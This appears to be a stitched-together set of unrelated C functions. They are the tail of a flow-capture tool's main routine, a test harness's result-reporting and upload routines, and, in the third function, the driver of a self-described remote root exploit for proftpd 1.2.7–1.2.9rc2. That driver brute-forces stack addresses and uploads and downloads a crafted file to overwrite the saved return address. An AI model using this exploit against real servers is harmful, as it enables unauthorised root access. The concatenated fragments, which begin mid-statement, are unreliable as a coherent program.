strlen("auto")) == 0) { if (mode == mode_online) { unsigned char *addr = ifl[0].mac_addr; time_t now = time(0); struct tm *t = localtime(&now); snprintf(filename, MAX_FILENAME_LEN, "%s/flocap-%02x%02x%02x%02x%02x%02x-h%d-m%d-s%d-D%d-M%d-Y%d-%s-", outputdir, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], t->tm_hour, t->tm_min, t->tm_sec, t->tm_mday, t->tm_mon, t->tm_year + 1900, t->tm_zone); } else { fprintf(info, "error: cannot use \"output = auto\" with no interface specified; use -o or -l options\n"); return usage(argv[0]); } fprintf(info, "auto generated output filename: %s\n", filename); } else { /* set output file based on command line or config file */ if (cli_filename) { strncpy(filename, config.filename, MAX_FILENAME_LEN); } else { char tmp_filename[MAX_FILENAME_LEN]; strncpy(tmp_filename, filename, MAX_FILENAME_LEN); snprintf(filename, MAX_FILENAME_LEN, "%s/%s", outputdir, tmp_filename); } } file_base_len = strlen(filename); if (config.max_records != 0) { snprintf(filename + file_base_len, MAX_FILENAME_LEN - file_base_len, "%d", file_count); } output = fopen(filename, "w"); if (output == NULL) { fprintf(info, "error: could not open output file %s (%s)\n", filename, strerror(errno)); return -1; } } else { output = stdout; } if (ifile != NULL) { opt_count--; argv[1+opt_count] = ifile; } if (mode == mode_online) { /* live capture */ int linktype; /* * sanity check: we can't be in both offline mode and online mode * simultaneously */ if ((argc-opt_count > 1) || (ifile != NULL)) { fprintf(info, "error: both interface (%s) and pcap input file (%s) specified\n", config.interface, argv[1+opt_count]); return usage(argv[0]); } anon_print_subnets(info); signal(SIGINT, sig_close); /* Ctl-C causes graceful shutdown */ signal(SIGTERM, sig_close); // signal(SIGHUP, sig_reload); // signal(SIGTSTP, sig_reload); signal(SIGQUIT, sig_reload); /* Ctl-\ causes an info dump */ /* * set capture interface as needed */ if (strncmp(config.interface, "auto", strlen("auto")) == 0) { capture_if = ifl[0].name; fprintf(info, "starting capture on interface %s\n", ifl[0].name); } else { capture_if = config.interface; } errbuf[0] = 0; handle = pcap_open_live(capture_if, 65535, config.promisc, 10000, errbuf); if (handle == NULL) { fprintf(info, "could not open device %s: %s\n", capture_if, errbuf); return -1; } if (errbuf[0] != 0) { fprintf(stderr, "warning: %s\n", errbuf); } /* verify that we can handle the link layer headers */ linktype = pcap_datalink(handle); if (linktype != DLT_EN10MB) { fprintf(info, "device %s has unsupported linktype (%d)\n", capture_if, linktype); return -2; } if (filter_exp) { /* compile the filter expression */ if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) { fprintf(info, "error: could not parse filter %s: %s\n", filter_exp, pcap_geterr(handle)); return -3; } /* apply the compiled filter */ if (pcap_setfilter(handle, &fp) == -1) { fprintf(info, "error: could not install filter %s: %s\n", filter_exp, pcap_geterr(handle)); return -4; } } /* * run as daemon, if so configured, without closing stderr and * stdout, and without changing the working directory */ if (config.daemon) { daemon(1, 1); } /* * flush "info" output stream to ensure log file accuracy */ fflush(info); /* * write out JSON preamble */ fprintf(output, "{\n"); config_print_json(output, &config); fprintf(output, "\"appflows\": [\n"); while(1) { struct timeval time_of_day, inactive_flow_cutoff; /* loop over packets captured from interface */ pcap_loop(handle, NUM_PACKETS_IN_LOOP, process_packet, NULL); if (output_level > none) { fprintf(output, "# pcap processing loop done\n"); } if (config.report_exe) { /* * periodically obtain host/process flow data */ if (get_host_flow_data() != 0) { fprintf(info, "warning: could not obtain host/process flow data\n"); } } /* * periodically report on progress */ if ((flocap_stats_get_num_packets() % NUM_PACKETS_BETWEEN_STATS_OUTPUT) == 0) { flocap_stats_output(info); } /* print out inactive flows */ gettimeofday(&time_of_day, NULL); timer_sub(&time_of_day, &time_window, &inactive_flow_cutoff); flow_record_list_print_json(&inactive_flow_cutoff); if (config.filename) { /* rotate output file if needed */ if (config.max_records && (records_in_file > config.max_records)) { /* * write JSON postamble */ fprintf(output, "\n] }\n"); fclose(output); if (config.upload_servername) { upload_file(filename, config.upload_servername, config.upload_key, config.retain_local); } // printf("records: %d\tmax_records: %d\n", records_in_file, config.max_records); file_count++; if (config.max_records != 0) { snprintf(filename + file_base_len, MAX_FILENAME_LEN - file_base_len, "%d", file_count); } output = fopen(filename, "w"); if (output == NULL) { perror("error: could not open output file"); return -1; } records_in_file = 0; fprintf(output, "{ \"appflows\": [\n"); } /* * flush out buffered debug/info/log messages on the "info" stream */ fflush(info); } // fflush(output); } fprintf(output, "\n] }\n"); if (filter_exp) { pcap_freecode(&fp); } pcap_close(handle); } else { /* mode = mode_offline */ if ((argc-opt_count <= 1) && (ifile == NULL)) { fprintf(stderr, "error: missing pcap file name(s)\n"); return usage(argv[0]); } fprintf(output, "{\n"); config_print_json(output, &config); fprintf(output, "\"appflows\": [\n"); flow_record_list_init(); flocap_stats_timer_init(); for (i=1+opt_count; i<argc; i++) { if (stat(argv[i], &sb) == 0 && S_ISDIR(sb.st_mode)) { if ((dir = opendir(argv[i])) != NULL) { while ((ent = readdir(dir)) != NULL) { if (strcmp(ent->d_name, ".") && strcmp(ent->d_name, "..")) { strcpy(pcap_filename, argv[i]); if (pcap_filename[strlen(pcap_filename)-1] != '/') { strcat(pcap_filename, "/"); } strcat(pcap_filename, ent->d_name); tmp_ret = process_pcap_file(pcap_filename, filter_exp, &net, &fp); if (tmp_ret < 0) { return tmp_ret; } } } closedir(dir); } else { /* error opening directory*/ printf("Error opening directory: %s\n", argv[i]); return -1; } } else { tmp_ret = process_pcap_file(argv[i], filter_exp, &net, &fp); if (tmp_ret < 0) { return tmp_ret; } } } fprintf(output, "\n]"); fprintf(output, "\n}\n"); } flocap_stats_output(info); // config_print(info, &config); return 0; }
int main(int argc, char *argv[]) { AppData *app_data = g_slice_new0 (AppData); app_data->filename = g_strdup("resultoutputfile.log"); app_data->outputfile = g_strdup(getenv("OUTPUTFILE")); app_data->disable_plugin = g_ptr_array_new_with_free_func (g_free); GError *error = NULL; gchar *server = NULL; SoupURI *result_uri = NULL; guint ret = 0; SoupMessage *server_msg; SoupRequest *request; gchar *result_msg = NULL; gchar *prefix = NULL; gchar *server_recipe_key = NULL; gchar *server_recipe = NULL; gchar *task_id = NULL; gchar *task_id_key = NULL; gboolean no_plugins = FALSE; gchar *form_data; GHashTable *data_table = g_hash_table_new (NULL, NULL); GOptionEntry entries[] = { {"server", 's', 0, G_OPTION_ARG_STRING, &server, "Server to connect to", "URL" }, { "message", 't', 0, G_OPTION_ARG_STRING, &result_msg, "Short 100 characters or less message", "TEXT" }, { "outputfile", 'o', 0, G_OPTION_ARG_CALLBACK, callback_outputfile, "Log to upload with result, $OUTPUTFILE is used by default", "FILE" }, { "disable-plugin", 'p', 0, G_OPTION_ARG_CALLBACK, callback_disable_plugin, "don't run plugin on server side", "PLUGIN" }, { "no-plugins", 0, 0, G_OPTION_ARG_NONE, &no_plugins, "don't run any plugins on server side", NULL }, { NULL } }; GOptionGroup *option_group = g_option_group_new ("main", "Application Options", "Various application related options", app_data, NULL); GOptionContext *context = g_option_context_new("TASK_PATH RESULT SCORE"); g_option_context_set_summary(context, "Report results to lab controller. if you don't specify the\n" "the server url you must have RECIPEID and TASKID defined.\n" "If HARNESS_PREFIX is defined then the value of that must be\n" "prefixed to RECIPEID and TASKID"); g_option_group_add_entries(option_group, entries); g_option_context_set_main_group (context, option_group); gboolean parse_succeeded = g_option_context_parse(context, &argc, &argv, &error); if (!parse_succeeded) { goto cleanup; } prefix = getenv("HARNESS_PREFIX") ? getenv("HARNESS_PREFIX") : ""; server_recipe_key = g_strdup_printf ("%sRECIPE_URL", prefix); server_recipe = getenv(server_recipe_key); task_id_key = g_strdup_printf ("%sTASKID", prefix); task_id = getenv(task_id_key); g_free(task_id_key); g_free(server_recipe_key); if (!server && server_recipe && task_id) { server = g_strdup_printf ("%s/tasks/%s/results/", server_recipe, task_id); } if (argc < 3 || !server) { cmd_usage(context); goto cleanup; } result_uri = soup_uri_new (server); if (result_uri == NULL) { g_set_error (&error, RESTRAINT_ERROR, RESTRAINT_PARSE_ERROR_BAD_SYNTAX, "Malformed server url: %s", server); goto cleanup; } session = soup_session_new_with_options("timeout", 3600, NULL); g_hash_table_insert (data_table, "path", argv[1]); g_hash_table_insert (data_table, "result", argv[2]); // if AVC_ERROR=+no_avc_check then disable the selinux check plugin // This is for legacy rhts tests.. please use --disable-plugin gchar *avc_error = getenv("AVC_ERROR"); if (g_strcmp0 (avc_error, "+no_avc_check") == 0) { g_ptr_array_add (app_data->disable_plugin, g_strdup ("10_avc_check")); } if (app_data->disable_plugin->pdata) { g_hash_table_insert (data_table, "disable_plugin", g_strjoinv (" ", (gchar **)app_data->disable_plugin->pdata)); } if (no_plugins) g_hash_table_insert (data_table, "no_plugins", &no_plugins); if (argc > 3) g_hash_table_insert (data_table, "score", argv[3]); if (result_msg) g_hash_table_insert (data_table, "message", result_msg); request = (SoupRequest *)soup_session_request_http_uri (session, "POST", result_uri, &error); server_msg = soup_request_http_get_message (SOUP_REQUEST_HTTP (request)); g_object_unref(request); form_data = soup_form_encode_hash (data_table); soup_message_set_request (server_msg, "application/x-www-form-urlencoded", SOUP_MEMORY_TAKE, form_data, strlen (form_data)); g_print ("** %s %s Score:%s\n", argv[1], argv[2], argv[3]); ret = soup_session_send_message (session, server_msg); if (SOUP_STATUS_IS_SUCCESSFUL (ret)) { gchar *location = g_strdup_printf ("%s/logs/", soup_message_headers_get_one (server_msg->response_headers, "Location")); soup_uri_free (result_uri); result_uri = soup_uri_new (location); g_free (location); if (app_data->outputfile != NULL && g_file_test (app_data->outputfile, G_FILE_TEST_EXISTS)) { g_print ("Uploading %s ", app_data->filename); if (upload_file (session, app_data->outputfile, app_data->filename, result_uri, &error)) { g_print ("done\n"); } else { g_print ("failed\n"); } } } else { g_warning ("Failed to submit result, status: %d Message: %s\n", ret, server_msg->reason_phrase); } g_object_unref(server_msg); soup_session_abort(session); g_object_unref(session); cleanup: if (server != NULL) { g_free(server); } if (result_msg != NULL) { g_free(result_msg); } g_option_context_free(context); g_hash_table_destroy(data_table); if (result_uri != NULL) { soup_uri_free (result_uri); } restraint_free_appdata(app_data); if (error) { int retcode = error->code; g_printerr("%s [%s, %d]\n", error->message, g_quark_to_string(error->domain), error->code); g_clear_error(&error); return retcode; } else { return EXIT_SUCCESS; } }
int main(int argc,char **argv) { int sleepMode=0; char c; unsigned int stackStartAddr=STACK_START; if(argc<2) usage(argv[0]); while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) { switch (c) { case 't': server=optarg; break; case 'u': user=optarg; break; case 'p': pass=optarg; break; case 'l': localIP=optarg; break; case 's': sleepMode=1; break; case 'U': strncpy(uploadPath,optarg,SIZE); break; case 'P': ftpPort=atoi(optarg); break; case 'S': stackStartAddr=strtoul(optarg, NULL, 16); break; default: usage(argv[0]); return 1; } } if(server==NULL || localIP==NULL) usage(argv[0]); printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n"); printf(" by Haggis ([email protected])\n"); doris_chroot_breaker(); for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) { if(check_for_linefeed()==FAILURE) continue; retAddr=stackWriteAddr+200; // good enough for show business if((controlSock=connect_to_server(ftpPort))==FAILURE) { perror("\n\nFailing to connect to remote host\n"); exit(1); } if(login_to_server()==FAILURE) { close(controlSock); printf("\nERROR: Login failed.\n"); exit(1); } if(set_passive_mode(UPLOAD)==FAILURE) goto err; if(set_ascii_mode()==FAILURE) goto err; if(set_path_and_filename()==FAILURE) goto err; // create the buffer containing RET for this // brute-force iteration create_exploit_buffer(); if(upload_file()==FAILURE) goto err; close(controlSock); // Connect again, then login, set ASCII mode and download the exploit file. // This will trigger the overflow; as a result, we've // corrupted the memory pool of this session and when we // download the file again, the stack area will be overwritten // and we control the saved EIP. if((controlSock=connect_to_server(ftpPort))<0) { perror("\nFailed to connect to remote host\n"); exit(1); } login_to_server(user,pass); set_path_and_filename(); if(set_ascii_mode()==FAILURE) goto err; if(set_passive_mode(DOWNLOAD)==FAILURE) goto err; if(sleepMode) sleep(10); if(download_file(NORMAL_DOWNLOAD)==FAILURE) goto err; // Finally, read the file again. This will trigger the stack // overwrite (NOT the overflow, that happened earlier). We could // control EIP at this point and r00t may be only heartbeat away... if(set_passive_mode(DOWNLOAD)==FAILURE) goto err; if(download_file(EXPLOIT_DOWNLOAD)==FAILURE) goto err; err: close(controlSock); } // This is only reached if the bruteforce fails. // delete the exploit files here printf("\n\nNo r00t for you today I'm afraid.\n"); exit(1); }
gboolean upload_results(AppData *app_data) { GError *error = NULL; SoupURI *result_uri = NULL; guint ret = 0; SoupSession *session; SoupMessage *server_msg; SoupRequest *request; gchar *form_data; GHashTable *data_table = g_hash_table_new (NULL, NULL); result_uri = soup_uri_new (app_data->server); if (result_uri == NULL) { g_set_error (&error, RESTRAINT_ERROR, RESTRAINT_PARSE_ERROR_BAD_SYNTAX, "Malformed server url: %s", app_data->server); goto cleanup; } session = soup_session_new_with_options("timeout", 3600, NULL); g_hash_table_insert (data_table, "path", app_data->test_name); g_hash_table_insert (data_table, "result", app_data->test_result); // if AVC_ERROR=+no_avc_check then disable the selinux check plugin // This is for legacy rhts tests.. please use --disable-plugin gchar *avc_error = getenv("AVC_ERROR"); if (g_strcmp0 (avc_error, "+no_avc_check") == 0) { g_ptr_array_add (app_data->disable_plugin, g_strdup ("10_avc_check")); } if (app_data->disable_plugin->pdata) { g_ptr_array_add (app_data->disable_plugin, NULL); g_hash_table_insert (data_table, "disable_plugin", g_strjoinv (" ", (gchar **)app_data->disable_plugin->pdata)); } if (app_data->no_plugins) g_hash_table_insert (data_table, "no_plugins", &app_data->no_plugins); if (app_data->score) g_hash_table_insert (data_table, "score", app_data->score); if (app_data->result_msg) g_hash_table_insert (data_table, "message", app_data->result_msg); request = (SoupRequest *)soup_session_request_http_uri (session, "POST", result_uri, &error); server_msg = soup_request_http_get_message (SOUP_REQUEST_HTTP (request)); g_object_unref(request); form_data = soup_form_encode_hash (data_table); soup_message_set_request (server_msg, "application/x-www-form-urlencoded", SOUP_MEMORY_TAKE, form_data, strlen (form_data)); g_print ("** %s %s Score:%s\n", app_data->test_name, app_data->test_result, app_data->score != NULL ? app_data->score : "N/A"); ret = soup_session_send_message (session, server_msg); if (SOUP_STATUS_IS_SUCCESSFUL (ret)) { gchar *location = g_strdup_printf ("%s/logs/", soup_message_headers_get_one (server_msg->response_headers, "Location")); soup_uri_free (result_uri); result_uri = soup_uri_new (location); g_free (location); if (app_data->outputfile != NULL && g_file_test (app_data->outputfile, G_FILE_TEST_EXISTS)) { g_print ("Uploading %s ", app_data->filename); if (upload_file (session, app_data->outputfile, app_data->filename, result_uri, &error)) { g_print ("done\n"); } else { g_print ("failed\n"); } } } else { g_warning ("Failed to submit result, status: %d Message: %s\n", ret, server_msg->reason_phrase); } g_object_unref(server_msg); soup_session_abort(session); g_object_unref(session); cleanup: g_hash_table_destroy(data_table); if (result_uri != NULL) { soup_uri_free (result_uri); } if (error) { g_printerr("%s [%s, %d]\n", error->message, g_quark_to_string(error->domain), error->code); g_clear_error(&error); return FALSE; } else { return TRUE; } }